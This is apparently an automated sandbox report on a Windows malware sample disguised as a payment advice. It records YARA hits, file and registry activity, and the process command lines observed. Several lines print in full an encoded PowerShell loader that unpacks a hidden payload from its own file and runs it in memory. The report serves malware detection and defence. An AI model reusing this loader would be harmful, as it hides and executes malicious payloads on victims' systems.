Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2258049661.00000000012F0000.00000004.00000010.00020000.00000000.sdmp, InstallUtil.exe.6.dr
Source:	Binary string: powershell.pdbUGP source: PaymentAdvice-1629043.vbs.exe, 00000004.00000000.2071289930.0000000000951000.00000020.00000001.01000000.00000005.sdmp, Value.vbs.exe, 0000000C.00000000.2216728771.0000000000C18000.00000020.00000001.01000000.00000009.sdmp, PaymentAdvice-1629043.vbs.exe.2.dr, Value.vbs.exe.9.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdb source: PaymentAdvice-1629043.vbs.exe, 00000004.00000000.2071289930.0000000000951000.00000020.00000001.01000000.00000005.sdmp, Value.vbs.exe, 0000000C.00000000.2216728771.0000000000C18000.00000020.00000001.01000000.00000009.sdmp, PaymentAdvice-1629043.vbs.exe.2.dr, Value.vbs.exe.9.dr
Source:	Binary string: protobuf-net.pdb source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb source: InstallUtil.exe, InstallUtil.exe, 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2258049661.00000000012F0000.00000004.00000010.00020000.00000000.sdmp, InstallUtil.exe.6.dr

Spreading

Yara detected Neshta

Source: Yara match	File source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2290271813.00000000069BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5332, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00405080 FindFirstFileA,FindNextFileA,FindClose,	14_2_00405080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00404F6C FindFirstFileA,FindClose,	14_2_00404F6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00405634 FindFirstFileA,FindNextFileA,FindClose,	14_2_00405634
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_004056A7 FindFirstFileA,FindNextFileA,FindClose,	14_2_004056A7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 14_2_00406D40 GetLogicalDriveStringsA,GetDriveTypeA,

14_2_00406D40

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 4x nop then jmp 0A5B7F20h		12_2_0A5B7E68
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 4x nop then jmp 0A5B7F20h		12_2_0A5B7E60

Source: Value.vbs.exe, 0000000C.00000002.2260798055.00000000033FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005B0B000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000603A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Value.vbs.exe, 0000000C.00000002.2264092099.0000000005122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2098406061.0000000004AA1000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2264092099.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Value.vbs.exe, 0000000C.00000002.2264092099.0000000005122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2098406061.0000000004AA1000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2264092099.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: Value.vbs.exe, 0000000C.00000002.2290271813.000000000603A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: Value.vbs.exe, 0000000C.00000002.2290271813.000000000603A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: Value.vbs.exe, 0000000C.00000002.2290271813.000000000603A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Value.vbs.exe, 0000000C.00000002.2264092099.0000000005122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005B0B000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000603A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2098406061.0000000004DCA000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2264092099.00000000052FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

E-Banking Fraud

Malicious encrypted Powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Value.vbs.exe "C:\Users\user\AppData\Roaming\Value.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Value.vbs.exe "C:\Users\user\AppData\Roaming\Value.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=	Jump to behavior

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
